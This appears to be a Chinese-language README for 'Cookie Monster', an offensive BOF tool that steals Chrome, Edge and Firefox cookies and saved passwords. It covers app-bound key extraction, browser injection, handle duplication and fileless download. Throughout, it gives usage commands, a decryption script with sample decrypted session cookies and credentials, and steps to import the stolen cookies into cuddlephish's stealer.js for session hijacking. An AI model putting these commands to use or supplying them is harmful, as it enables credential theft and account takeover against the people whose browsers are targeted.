通过 BOF 窃取 edge、chrome 和 firefox 的浏览器 cookie!
Cookie Monster BOF 将提取 Edge 和 Chrome 的 WebKit Master Key 和 App Bound Encryption Key,定位一个持有 Cookies 和 Login Data 文件句柄的浏览器进程,复制该句柄,然后以无文件方式下载目标文件。
一旦 Cookies/Login Data 文件被下载,就可以使用 Python 解密脚本提取这些机密!Firefox 模块将解析 profiles.ini 并定位 logins.json 和 key4.db 文件所在位置并下载它们。离线解密请参考另一个 GitHub 仓库。
Chrome 与 Edge 127+ 更新:新的 chromium 浏览器 cookie(v20)使用 app bound key 来加密 cookie。因此,这使得获取 app_bound_encrypted_key 稍微更加困难。感谢 snovvcrash,这一过程无需提权即可完成。问题在于你的进程必须从 Web 浏览器的应用程序目录中运行。也就是说,必须注入到 Chrome/Edge 中,或从与浏览器相同的应用程序目录中生成 beacon。
Chrome 157+ 可能运行一个非隔离的启动器进程,该进程会以第二个 chrome.exe --isolated 进程的形式启动真正的浏览器。在启用隔离的情况下创建的 app-bound 密钥只能由携带 Chrome 隔离安全属性的调用方解密。请注入到 --isolated 的 Chrome 进程中;注入到启动器会返回 HRESULT 0x8004A018(kIsolationStateInvalid)。附带的 Win32 错误可能是过时的(例如 122),因此请使用 HRESULT 来诊断此情况。
以 SYSTEM 身份解密 cookie,且无需注入到浏览器进程中!感谢 @sdemius 发现了如何解密 Chrome 的 PostProcessData 函数,以及 @b1scoito 的解释!Chrome 137+ 再次更改了 PostProcessData() 函数,感谢 @runassu 弄清了这一点!
最新更新添加了 Webkit Master Key 的解密,感谢 @M1ndo。主密钥会与 app bound key 一同自动解密。要使用它,请将该密钥添加到 Python 解密脚本中。主要在使用漫游配置文件、Edge 中存储的密码或较旧的存储密码时使用此密钥。
Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"]
cookie-monster Examples:
cookie-monster --chrome
cookie-monster --edge
cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
cookie-moster --firefox
cookie-monster --chromeCookiePID <PID>
cookie-monster --chromeLoginDataPID <PID>
cookie-monster --edgeCookiePID <PID>
cookie-monster --edgeLoginDataPID <PID>
cookie-monster Options:
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD
--system, Decrypt chromium based browser app bound encryption key without injecting into browser. Requires path to Local State file and PID of a user process for impersonation
--firefox, looks for profiles.ini and locates the key4.db and logins.json file
--chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--key-only, only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files.
--cookie-only, only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key.
--login-data-only, only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.
--copy-file, copies the Cookie and Login Data file to the folder specified. Does not use fileless retrieval method.
在编译之前,请确保 Linux 上已安装 Mingw-w64 和 make。
make
安装依赖
pip3 install -r requirements.txt
用法
python3 decrypt.py -h
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]
Decrypt Chromium cookies and passwords given a key and DB file
options:
-h, --help show this help message and exit
-k KEY, --key KEY Decryption key
-o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
Option to choose
-f FILE, --file FILE Location of the database file
--chrome-aes-key CHROME_AES_KEY
Chrome AES Key
-mk MASTER_KEY, --master-key MASTER_KEY
Old key used in v10 passwords
示例: 解密 Chrome/Edge Cookies 文件
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
使用 Chrome AES 密钥解密 Chrome Cookie
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json
解密 Chrome/Edge Cookies 文件并保存为 json
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json
使用 https://cookie-editor.com/ 导入 cookies JSON 文件
解密 Chrome/Edge 密码文件
python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'
URL: https://test.com/
Username: adgf
Password: pass
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
解密 Firefox Cookies 与存储的凭据:
https://github.com/lclevy/firepwd
为解密脚本添加了 cuddlephish 选项,该选项应支持将 cookie 与 https://github.com/fkasler/cuddlephish 配合使用
# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db
# Clone Project
cd
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish
# Install Dependencies Example on Debian
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install
# Import Cookies
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json
如果没有 Mr-Un1k0d3r 及其精彩的季节性视频的帮助,本项目不可能完成!
强烈推荐观看他的课程!!!
Cookie Webkit 主密钥提取器:
https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
无文件下载:
https://github.com/fortra/nanodump
解密 Cookie 和登录数据:
https://github.com/login-securite/DonPAPI
App Bound 密钥解密:
https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824
解密 Chrome 137+ Cookie
https://github.com/runassu/chrome_v20_decryption